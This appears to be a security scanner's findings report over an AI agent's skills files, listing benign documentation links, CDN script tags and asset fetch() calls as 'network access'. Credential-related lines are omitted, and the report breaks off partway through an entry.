harness/claude-code/skills/game-engine/assets/simple-2d-engine.md

  • Network accessline 5
    **Source references:** - [Part 1 - Basics](https://deepnight.net/tutorial/a-simple-platformer-engine-part-1-basics/)
  • Network accessline 6
    - [Part 1 - Basics](https://deepnight.net/tutorial/a-simple-platformer-engine-part-1-basics/)
  • Network accessline 7
    - [Part 2 - Collisions](https://deepnight.net/tutorial/a-simple-platformer-engine-part-2-collisions/)
  • Network accessline 9
    **Author:** [Sebastien Benard / deepnight](https://deepnight.net)

harness/claude-code/skills/game-engine/references/3d-web-games.md

  • Network accessline 5
    Sources: [MDN Web Docs -- Games Techniques: 3D on the web](https://developer.mozilla.org/en-US/docs/Games/Techniques/3D_on_the_web)
  • Network accessline 99
    </head>   <body>     <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script>
  • Network accessline 100
    <body>     <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script>     <script>
  • Network accessline 101
    <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script>
  • Network accessline 197
    - Use `Math.abs()` when animating scale with `Math.sin()` to avoid negative scale values. - The render loop uses `requestAnimationFrame` for smooth, browser-optimized frame updates. - Consult [Three.js documentation](https://threejs.org/doc
  • Network accessline 199
    - Consult [Three.js documentation](https://threejs.org/docs/) for the full API.
  • Network accessline 210
    <script src="https://cdn.babylonjs.com/v7.34.1/babylon.js"></script>
  • Network accessline 275
    - `BABYLON.Vector3` and `BABYLON.Color3` are used extensively for positioning and coloring. - Babylon.js includes a built-in math library for vectors, colors, and matrices. - Consult [Babylon.js documentation](https://doc.babylonjs.com/) fo
  • Network accessline 277
    - Consult [Babylon.js documentation](https://doc.babylonjs.com/) for advanced features like physics, particles, and post-processing.
  • Network accessline 291
    <meta charset="utf-8" />     <title>A-Frame Demo</title>     <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>
  • Network accessline 292
    <title>A-Frame Demo</title>     <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>     <style>
  • Network accessline 293
    <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>
  • Network accessline 394
    - Entity-component system architecture - Built-in physics engine powered by [ammo.js](https://github.com/kripken/ammo.js/)
  • Network accessline 395
    - Built-in physics engine powered by [ammo.js](https://github.com/kripken/ammo.js/)
  • Network accessline 403
    - PlayCanvas excels for team-based game development thanks to its online editor with real-time collaboration. - The engine-only approach is lightweight and can be embedded in any web page. - Consult the [PlayCanvas developer documentation](
  • Network accessline 405
    - Consult the [PlayCanvas developer documentation](https://developer.playcanvas.com/) for tutorials on entities, components, cameras, lights, materials, and animations.
  • Network accessline 497
    - Shaders run on the GPU and offload computation from the CPU, which is critical for real-time performance. - Three.js, Babylon.js, and other frameworks abstract much of the shader setup; pure WebGL requires significantly more boilerplate. 
  • Network accessline 498
    - Three.js, Babylon.js, and other frameworks abstract much of the shader setup; pure WebGL requires significantly more boilerplate. - [ShaderToy](https://www.shadertoy.com/) is an excellent resource for shader examples and inspiration. - GL
  • Network accessline 499
    - [ShaderToy](https://www.shadertoy.com/) is an excellent resource for shader examples and inspiration.
  • Network accessline 732
    - **A-Frame** -- built-in VR mode button; declarative HTML-based scenes automatically work in VR. - **Three.js** -- provides WebXR integration via `renderer.xr`. See [Three.js VR documentation](https://threejs.org/docs/#manual/en/introducti
  • Network accessline 733
    - **Three.js** -- provides WebXR integration via `renderer.xr`. See [Three.js VR documentation](https://threejs.org/docs/#manual/en/introduction/How-to-create-VR-content).
  • Network accessline 752
    - Always test on real headsets; the experience is vastly different from desktop preview. - Maintain a stable, high frame rate (72-90+ FPS) to prevent motion sickness. - Consult [MDN WebXR Device API](https://developer.mozilla.org/en-US/docs
  • Network accessline 754
    - Consult [MDN WebXR Device API](https://developer.mozilla.org/en-US/docs/Web/API/WebXR_Device_API) for the full API reference.

harness/claude-code/skills/game-engine/references/algorithms.md

  • Network accessline 10
    > Source: https://deepnight.net/tutorial/bresenham-magic-raycasting-line-of-sight-pathfinding/
  • Network accessline 118
    > Source: https://medium.com/@erikkubiak/dev-log-1-custom-engine-writing-my-collision-system-2a97856f9a93
  • Network accessline 243
    > Source: https://www.gamedev.net/tutorials/programming/math-and-physics/a-quick-lesson-in-velocity-and-speed-r6109/
  • Network accessline 354
    > Source: https://winter.dev/articles/physics-engine
  • Network accessline 551
    > Source: https://www.gamedev.net/tutorials/programming/math-and-physics/vector-maths-for-game-dev-beginners-r5442/

harness/claude-code/skills/game-engine/references/basics.md

  • Network accessline 5
    Sources: - https://developer.mozilla.org/en-US/docs/Games/Introduction
  • Network accessline 6
    - https://developer.mozilla.org/en-US/docs/Games/Introduction
  • Network accessline 7
    - https://developer.mozilla.org/en-US/docs/Games/Anatomy

harness/claude-code/skills/game-engine/references/game-control-mechanisms.md

  • Network accessline 507
    <script src="https://unpkg.com/leapjs@0.6.4/leap-0.6.4.min.js"></script>

harness/claude-code/skills/game-engine/references/game-engine-core-principles.md

  • Network accessline 5
    Source: https://www.gamedev.net/articles/programming/general-and-gameplay-programming/making-a-game-engine-core-design-principles-r3210/
  • Network accessline 555
    class WebFileSystem extends FileSystem {   async readFile(path) {     const response = await fetch(path);
  • Network accessline 556
    async readFile(path) {     const response = await fetch(path);     return response.arrayBuffer();
  • Network accessline 557
    const response = await fetch(path);

harness/claude-code/skills/game-engine/references/techniques.md

  • Network accessline 9
    **Source:** [MDN - Async Scripts for asm.js](https://developer.mozilla.org/en-US/docs/Games/Techniques/Async_scripts)
  • Network accessline 67
    **Source:** [MDN - Optimizing Startup Performance](https://developer.mozilla.org/en-US/docs/Web/Performance/Guides/Optimizing_startup_performance)
  • Network accessline 143
    **Source:** [MDN - WebRTC Data Channels](https://developer.mozilla.org/en-US/docs/Games/Techniques/WebRTC_data_channels)
  • Network accessline 178
    - The WebRTC API is primarily known for audio and video communication but includes robust peer-to-peer data channel capabilities. - Libraries are recommended to simplify implementation and work around browser differences. - Full WebRTC docu
  • Network accessline 180
    - Full WebRTC documentation is available at [MDN WebRTC API](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API).
  • Network accessline 186
    **Source:** [MDN - Audio for Web Games](https://developer.mozilla.org/en-US/docs/Games/Techniques/Audio_for_Web_Games)
  • Network accessline 271
    async function getFile(filepath) {   const response = await fetch(filepath);
  • Network accessline 272
    const response = await fetch(filepath);
  • Network accessline 355
    **Source:** [MDN - 2D Collision Detection](https://developer.mozilla.org/en-US/docs/Games/Techniques/2D_collision_detection)
  • Network accessline 526
    **Source:** [MDN - Tilemaps](https://developer.mozilla.org/en-US/docs/Games/Techniques/Tilemaps)
  • Network accessline 618
    **Source:** [MDN - Controls Gamepad API](https://developer.mozilla.org/en-US/docs/Games/Techniques/Controls_Gamepad_API)
  • Network accessline 801
    **Source:** [MDN - Crisp Pixel Art Look](https://developer.mozilla.org/en-US/docs/Games/Techniques/Crisp_pixel_art_look)

harness/claude-code/skills/game-engine/references/terminology.md

  • Network accessline 5
    Source: https://www.gameindustrycareerguide.com/video-game-development-terms-glossary/

harness/claude-code/skills/game-engine/references/web-apis.md

  • Network accessline 595
    <!-- A simple SVG health bar --> <svg width="220" height="30" xmlns="http://www.w3.org/2000/svg">
  • Network accessline 596
    <svg width="220" height="30" xmlns="http://www.w3.org/2000/svg">
  • Network accessline 757
    // Load and play a sound effect async function playSFX(url) {   const response = await fetch(url);
  • Network accessline 758
    async function playSFX(url) {   const response = await fetch(url);   const arrayBuffer = await response.arrayBuffer();
  • Network accessline 759
    const response = await fetch(url);
  • Network accessline 1219
    - **Parallel asset processing**: Decode images, decompress data, or parse level files without blocking rendering. - **OffscreenCanvas**: Render to a canvas from within a worker, enabling parallel rendering pipelines. - **Non-blocking networ
  • Network accessline 1221
    - **Non-blocking networking**: Perform `fetch()` or XHR calls in a worker to keep the game loop smooth.
  • Network accessline 1394
    For new projects, the **Fetch API** (`fetch()`) is generally preferred over XHR. It provides a cleaner promise-based interface, supports streaming via `ReadableStream`, and integrates well with async/await. However, XHR remains relevant whe

harness/claude-code/skills/gdpr-compliant/references/Security.md

  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 190
    [Credential-related source omitted]

harness/claude-code/skills/generate-image/SKILL.md

  • Network accessline 54
    | Provider | Model | Best for | Key URL | | --- | --- | --- | --- | | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys |
  • Network accessline 55
    | --- | --- | --- | --- | | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys | | Google Gemini | Nano Banana / Gemini image models | Fast iterati
  • Network accessline 56
    | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys |
  • Network accessline 57
    | Google Gemini | Nano Banana / Gemini image models | Fast iteration, free tier availability, visual drafts and variations. | https://aistudio.google.com/apikey |
  • Access to secretsline 59
    [Credential-related source omitted]
  • Network accessline 64
    | --- | --- | | Method | `POST` | | URL | `https://api.openai.com/v1/images/generations` |
  • Network accessline 65
    [Credential-related source omitted]
  • Network accessline 66
    | URL | `https://api.openai.com/v1/images/generations` |
  • Network accessline 90
    | --- | --- | | Method | `POST` | | URL shape | `https://ai.google.dev/gemini-api/docs/models<model>:generateContent` |
  • Network accessline 91
    [Credential-related source omitted]
  • Network accessline 92
    | URL shape | `https://ai.google.dev/gemini-api/docs/models<model>:generateContent` |
  • Network accessline 173
    - [OpenAI API keys](https://platform.openai.com/api-keys)
  • Network accessline 174
    - [Google AI Studio API keys](https://aistudio.google.com/apikey)

harness/claude-code/skills/geofeed-tuner/references/extended-guide.md

  • Network accessline 282
    "fastah-ip-geofeed": {       "type": "http",       "url": "https://mcp.fastah.ai/mcp"
  • Network accessline 283
    "type": "http",       "url": "https://mcp.fastah.ai/mcp"     }
  • Network accessline 284
    "url": "https://mcp.fastah.ai/mcp"
  • Network accessline 287
    - Server: `https://mcp.fastah.ai/mcp`

harness/claude-code/skills/geofeed-tuner/references/rfc8805.txt

  • Network accessline 49
    Information about the current status of this document, any errata,    and how to provide feedback on it may be obtained at    https://www.rfc-editor.org/info/rfc8805.
  • Network accessline 51
    https://www.rfc-editor.org/info/rfc8805.
  • Network accessline 58
    This document is subject to BCP 78 and the IETF Trust's Legal    Provisions Relating to IETF Documents    (https://trustee.ietf.org/license-info) in effect on the date of
  • Network accessline 59
    Provisions Relating to IETF Documents    (https://trustee.ietf.org/license-info) in effect on the date of    publication of this document.  Please review these documents
  • Network accessline 60
    (https://trustee.ietf.org/license-info) in effect on the date of
  • Network accessline 565
    [ISO.3166.1alpha2]               ISO, "ISO 3166-1 decoding table",               <http://www.iso.org/iso/home/standards/country_codes/iso-
  • Network accessline 566
    ISO, "ISO 3166-1 decoding table",               <http://www.iso.org/iso/home/standards/country_codes/iso-               3166-1_decoding_table.htm>.
  • Network accessline 567
    <http://www.iso.org/iso/home/standards/country_codes/iso-
  • Network accessline 570
    [ISO.3166.2]               ISO, "ISO 3166-2:2007",               <http://www.iso.org/iso/home/standards/
  • Network accessline 571
    ISO, "ISO 3166-2:2007",               <http://www.iso.org/iso/home/standards/               country_codes.htm#2012_iso3166-2>.
  • Network accessline 572
    <http://www.iso.org/iso/home/standards/
  • Network accessline 576
    Requirement Levels", BCP 14, RFC 2119,               DOI 10.17487/RFC2119, March 1997,               <https://www.rfc-editor.org/info/rfc2119>.
  • Network accessline 578
    <https://www.rfc-editor.org/info/rfc2119>.
  • Network accessline 580
    [RFC3629]  Yergeau, F., "UTF-8, a transformation format of ISO               10646", STD 63, RFC 3629, DOI 10.17487/RFC3629, November               2003, <https://www.rfc-editor.org/info/rfc3629>.
  • Network accessline 582
    2003, <https://www.rfc-editor.org/info/rfc3629>.
  • Network accessline 585
    Separated Values (CSV) Files", RFC 4180,               DOI 10.17487/RFC4180, October 2005,               <https://www.rfc-editor.org/info/rfc4180>.
  • Network accessline 587
    <https://www.rfc-editor.org/info/rfc4180>.
  • Network accessline 589
    [RFC4291]  Hinden, R. and S. Deering, "IP Version 6 Addressing               Architecture", RFC 4291, DOI 10.17487/RFC4291, February               2006, <https://www.rfc-editor.org/info/rfc4291>.
  • Network accessline 591
    2006, <https://www.rfc-editor.org/info/rfc4291>.
  • Network accessline 594
    (CIDR): The Internet Address Assignment and Aggregation               Plan", BCP 122, RFC 4632, DOI 10.17487/RFC4632, August               2006, <https://www.rfc-editor.org/info/rfc4632>.
  • Network accessline 596
    2006, <https://www.rfc-editor.org/info/rfc4632>.
  • Network accessline 599
    Address Text Representation", RFC 5952,               DOI 10.17487/RFC5952, August 2010,               <https://www.rfc-editor.org/info/rfc5952>.
  • Network accessline 601
    <https://www.rfc-editor.org/info/rfc5952>.
  • Network accessline 604
    Ed., "Hypertext Transfer Protocol (HTTP/1.1): Caching",               RFC 7234, DOI 10.17487/RFC7234, June 2014,               <https://www.rfc-editor.org/info/rfc7234>.
  • Network accessline 606
    <https://www.rfc-editor.org/info/rfc7234>.
  • Network accessline 608
    [RFC8174]  Leiba, B., "Ambiguity of Uppercase vs Lowercase in RFC               2119 Key Words", BCP 14, RFC 8174, DOI 10.17487/RFC8174,               May 2017, <https://www.rfc-editor.org/info/rfc8174>.
  • Network accessline 610
    May 2017, <https://www.rfc-editor.org/info/rfc8174>.
  • Network accessline 615
    Edition)", World Wide Web Consortium Recommendation REC-               xml-20081126, November 2008,               <http://www.w3.org/TR/2008/REC-xml-20081126>.
  • Network accessline 617
    <http://www.w3.org/TR/2008/REC-xml-20081126>.
  • Network accessline 621
    [GEOPRIV]  IETF, "Geographic Location/Privacy (geopriv)",               <http://datatracker.ietf.org/wg/geopriv/>.
  • Network accessline 622
    <http://datatracker.ietf.org/wg/geopriv/>.
  • Network accessline 624
    [GEO_Google]               Google, LLC, "Google Corp Geofeed",               <https://www.gstatic.com/geofeed/corp_external>.
  • Network accessline 626
    <https://www.gstatic.com/geofeed/corp_external>.
  • Network accessline 628
    [GEO_ICANN]               ICANN, "ICANN Meeting Geolocation Data",               <https://meeting-services.icann.org/geo/google.csv>.
  • Network accessline 630
    <https://meeting-services.icann.org/geo/google.csv>.
  • Network accessline 632
    [GEO_IETF] Kumari, W., "IETF Meeting Network Geolocation Data",               <https://noc.ietf.org/geo/google.csv>.
  • Network accessline 633
    <https://noc.ietf.org/geo/google.csv>.
  • Network accessline 635
    [GEO_RIPE_NCC]               Schepers, M., "RIPE NCC Meeting Geolocation Data",               <https://meetings.ripe.net/geo/google.csv>.
  • Network accessline 637
    <https://meetings.ripe.net/geo/google.csv>.
  • Network accessline 640
    Shields, M. and P. Moody, "Google's Python IP address               manipulation library",               <http://code.google.com/p/ipaddr-py/>.
  • Network accessline 642
    <http://code.google.com/p/ipaddr-py/>.
  • Network accessline 644
    [ISO-GLOSSARY]               ISO, "Glossary for ISO 3166",               <https://www.iso.org/glossary-for-iso-3166.html>.
  • Network accessline 646
    <https://www.iso.org/glossary-for-iso-3166.html>.
  • Network accessline 648
    [RFC2818]  Rescorla, E., "HTTP Over TLS", RFC 2818,               DOI 10.17487/RFC2818, May 2000,               <https://www.rfc-editor.org/info/rfc2818>.
  • Network accessline 650
    <https://www.rfc-editor.org/info/rfc2818>.
  • Network accessline 652
    [RFC3912]  Daigle, L., "WHOIS Protocol Specification", RFC 3912,               DOI 10.17487/RFC3912, September 2004,               <https://www.rfc-editor.org/info/rfc3912>.
  • Network accessline 654
    <https://www.rfc-editor.org/info/rfc3912>.
  • Network accessline 657
    Format for Presence Information Data Format Location               Object (PIDF-LO)", RFC 5139, DOI 10.17487/RFC5139,               February 2008, <https://www.rfc-editor.org/info/rfc5139>.
  • Network accessline 659
    February 2008, <https://www.rfc-editor.org/info/rfc5139>.
  • Network accessline 663
    A Document Format for Expressing Privacy Preferences for               Location Information", RFC 6772, DOI 10.17487/RFC6772,               January 2013, <https://www.rfc-editor.org/info/rfc6772>.
  • Network accessline 665
    January 2013, <https://www.rfc-editor.org/info/rfc6772>.
  • Network accessline 668
    Authorizing Use of Domains in Email, Version 1", RFC 7208,               DOI 10.17487/RFC7208, April 2014,               <https://www.rfc-editor.org/info/rfc7208>.
  • Network accessline 670
    <https://www.rfc-editor.org/info/rfc7208>.
  • Network accessline 673
    Interchange Format", STD 90, RFC 8259,               DOI 10.17487/RFC8259, December 2017,               <https://www.rfc-editor.org/info/rfc8259>.
  • Network accessline 675
    <https://www.rfc-editor.org/info/rfc8259>.

harness/claude-code/skills/geofeed-tuner/references/snippets-python3.md

  • Network accessline 3
    - Use Python 3's built-in [`ipaddress` package](https://docs.python.org/3/harness/github-copilot/ipaddress.html), with `strict=True` passed to constructors where available.
  • Network accessline 9
    - Use the [convenience factory functions in `ipaddress`](https://docs.python.org/3/harness/github-copilot/ipaddress.html#convenience-factory-functions).
  • Network accessline 30
    - Use the strict-form parser [`ipaddress.ip_network(address, strict=True)`](https://docs.python.org/3/harness/github-copilot/ipaddress.html#ipaddress.ip_network).

harness/claude-code/skills/geofeed-tuner/scripts/templates/index.html

  • Network accessline 5
    <meta name="viewport" content="width=device-width, initial-scale=1.0">     <title>Geofeed Tuner Report</title>     <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet">
  • Network accessline 6
    <title>Geofeed Tuner Report</title>     <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet">     <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.0/f
  • Network accessline 7
    <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet">
  • Network accessline 8
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.0/font/bootstrap-icons.css">
  • Network accessline 9
    <link rel="stylesheet" href="https://unpkg.com/leaflet@1.9.4/dist/leaflet.css" />
  • Network accessline 10
    <script src="https://unpkg.com/leaflet@1.9.4/dist/leaflet.js"></script>
  • Network accessline 11
    <script src="https://unpkg.com/h3-js@4.1.0/dist/h3-js.umd.js"></script>
  • Network accessline 1111
    * @type {string}          */         const API_ENDPOINT = 'https://mcp.fastah.ai/rest/geofeeds/place-search';
  • Network accessline 1113
    const API_ENDPOINT = 'https://mcp.fastah.ai/rest/geofeeds/place-search';
  • Network accessline 1128
    const batchRows = rows.slice(i * MAX_BATCH_SIZE, (i + 1) * MAX_BATCH_SIZE);                 try {                     const response = await fetch(API_ENDPOINT, {
  • Network accessline 1129
    try {                     const response = await fetch(API_ENDPOINT, {                         method: 'POST',
  • Network accessline 1130
    const response = await fetch(API_ENDPOINT, {
  • Network accessline 1411
    L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
  • Network accessline 2025
    zoom: 2                 });                 L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
  • Network accessline 2026
    });                 L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {                     attribution: '\u00a9 <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors',
  • Network accessline 2027
    L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
  • Network accessline 2028
    attribution: '\u00a9 <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors',

harness/claude-code/skills/gh-attach/SKILL.md

  • Access to secretsline 68
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]

harness/claude-code/skills/git-commit/SKILL.md

harness/claude-code/skills/github-copilot-starter/SKILL.md

  • Network accessline 39
    1. Inspect the repository for stack signals before asking questions. 2. Research `awesome-copilot` examples with web fetch before generating content:    - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md
  • Network accessline 40
    2. Research `awesome-copilot` examples with web fetch before generating content:    - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md    - https://github.com/github/awesome-copilot/blob/main/docs/README.agent
  • Network accessline 41
    - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md
  • Network accessline 42
    - https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md
  • Network accessline 43
    - https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md
  • Network accessline 44
    - https://github.com/github/awesome-copilot/tree/main/instructions
  • Network accessline 45
    - https://github.com/github/awesome-copilot/tree/main/agents
  • Network accessline 46
    - https://github.com/github/awesome-copilot/tree/main/skills
  • Network accessline 125
    <!-- Based on/Inspired by: https://github.com/github/awesome-copilot/blob/main/instructions/{filename}.instructions.md -->
  • Network accessline 146
    <!-- Based on: https://github.com/github/awesome-copilot/blob/main/instructions/nodejs-javascript-vitest.instructions.md -->
  • Network accessline 147
    <!-- Inspired by: https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md -->
  • Network accessline 148
    <!-- and: https://github.com/github/awesome-copilot/blob/main/instructions/springboot.instructions.md -->
  • Network accessline 177
    <!-- Based on/Inspired by: https://github.com/github/awesome-copilot/blob/main/agents/{filename}.agent.md -->
  • Network accessline 280
    - [awesome-copilot instructions docs](https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md)
  • Network accessline 281
    - [awesome-copilot agents docs](https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md)
  • Network accessline 282
    - [awesome-copilot skills docs](https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md)
  • Network accessline 283
    - [awesome-copilot instructions directory](https://github.com/github/awesome-copilot/tree/main/instructions)
  • Network accessline 284
    - [awesome-copilot agents directory](https://github.com/github/awesome-copilot/tree/main/agents)
  • Network accessline 285
    - [awesome-copilot skills directory](https://github.com/github/awesome-copilot/tree/main/skills)

harness/claude-code/skills/github-issues/references/images.md

  • Network accessline 42
    ![Description](https://github.com/{owner}/{repo}/raw/{username}/images/docs/images/my-image.png)
  • Access to secretsline 45
    [Credential-related source omitted]
  • Network accessline 68
    1. Open the issue/comment in a browser 2. Drag-drop or paste the image into the comment editor 3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL
  • Network accessline 69
    2. Drag-drop or paste the image into the comment editor 3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL 4. These URLs work for anyone, even without repo access, and render in email notifications
  • Network accessline 70
    3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL
  • Access to secretsline 73
    [Credential-related source omitted]

harness/claude-code/skills/github-release/SKILL.md

  • Network accessline 83
    7. Update or create `CHANGELOG.md` in Keep a Changelog format using today's `YYYY-MM-DD` date, show the proposed section to the user, then write it. Add or update the comparison link: `https://github.com/OWNER/REPO/compare/vPREV...vNEXT`.
  • Network accessline 234
    - [Keep a Changelog](https://keepachangelog.com/en/1.1.0/)
  • Network accessline 235
    - [GitHub compare URL pattern](https://github.com/OWNER/REPO/compare/vPREV...vNEXT)

harness/claude-code/skills/github-release/references/commit-classification.md

  • Network accessline 8
    When reading `git log` output, map each commit to one of the categories below. Repos that follow Conventional Commits (https://www.conventionalcommits.org/) will
  • Network accessline 9
    Repos that follow Conventional Commits (https://www.conventionalcommits.org/) will

harness/claude-code/skills/github-release/references/semver-rules.md

  • Network accessline 3
    Reference: https://semver.org/

harness/claude-code/skills/gitmoji/SKILL.md

  • Network accessline 2
    name: gitmoji description: >-   Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing
  • Network accessline 3
    description: >-   Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing   the single best emoji or shortcode for a diff, staged change, or plain-language change
  • Network accessline 4
    Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing
  • Network accessline 16
    Generate a copyable commit message in the https://gitmoji.dev/ convention: infer the dominant change intent, select exactly one gitmoji, match unicode versus shortcode style, and write an imperative subject plus optional body.
  • Network accessline 98
    - Do not run `git commit` or any other mutating git command. - If the project follows plain Conventional Commits from https://www.conventionalcommits.org/ without emojis, use the `git-commit` skill instead.
  • Network accessline 99
    - If the project follows plain Conventional Commits from https://www.conventionalcommits.org/ without emojis, use the `git-commit` skill instead.
  • Network accessline 147
    - [gitmoji](https://gitmoji.dev)
  • Network accessline 148
    - [gitmoji with trailing slash](https://gitmoji.dev/)
  • Network accessline 149
    - [Conventional Commits](https://www.conventionalcommits.org/)

harness/claude-code/skills/gitmoji/references/gitmoji-reference.md

  • Network accessline 3
    The complete official gitmoji list from [gitmoji.dev](https://gitmoji.dev/), in the order shown on the site. Each entry maps an emoji (and its `:shortcode:`) to the intent of the change it represents.
  • Network accessline 83
    > Source: [gitmojis.json](https://github.com/carloscuesta/gitmoji/blob/master/packages/gitmojis/src/gitmojis.json) — 75 gitmojis.

harness/claude-code/skills/gsap-framer-scroll-animation/SKILL.md

  • Network accessline 9
    metadata:   author: Utkarsh Patrikar   author_url: "https://github.com/utkarsh232005"
  • Network accessline 10
    author: Utkarsh Patrikar   author_url: "https://github.com/utkarsh232005" ---
  • Network accessline 11
    author_url: "https://github.com/utkarsh232005"
  • Network accessline 182
    - [Author profile](https://github.com/utkarsh232005)

harness/claude-code/skills/gsap-framer-scroll-animation/references/gsap.md

  • Network accessline 45
    <script src="https://cdn.jsdelivr.net/npm/gsap@3.14/dist/gsap.min.js"></script>
  • Network accessline 46
    <script src="https://cdn.jsdelivr.net/npm/gsap@3.14/dist/ScrollTrigger.min.js"></script>

harness/claude-code/skills/gtm-0-to-1-launch/SKILL.md

  • Network accessline 9
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 10
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 11
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 12
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 175
    - [Technical product GTM source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 176
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/claude-code/skills/gtm-ai-gtm/SKILL.md

  • Network accessline 8
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 9
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 10
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 11
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 156
    - [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 157
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/claude-code/skills/gtm-board-and-investor-communication/SKILL.md

  • Network accessline 8
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 9
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 10
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 11
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Dangerous shell operationline 386
    Exec (weekly) → Leadership (bi-weekly) → All-hands (monthly) → Team (ongoing)
  • Network accessline 432
    - [ ] Follow-up owners and dates are explicit. ## References - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 433
    ## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 434
    - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 435
    - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)

harness/claude-code/skills/gtm-developer-ecosystem/SKILL.md

  • Network accessline 7
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 9
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 10
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 356
    - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 357
    - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)

harness/claude-code/skills/gtm-enterprise-account-planning/SKILL.md

  • Network accessline 8
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 9
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 10
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 11
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 246
    - [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 247
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/claude-code/skills/gtm-enterprise-onboarding/SKILL.md

  • Network accessline 7
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 9
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 10
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 440
    - [ ] Red flags such as Week 4 ghosting, Week 5 pilot non-use, and Week 8-12 adoption decline have escalation actions. ## References - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 441
    ## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 442
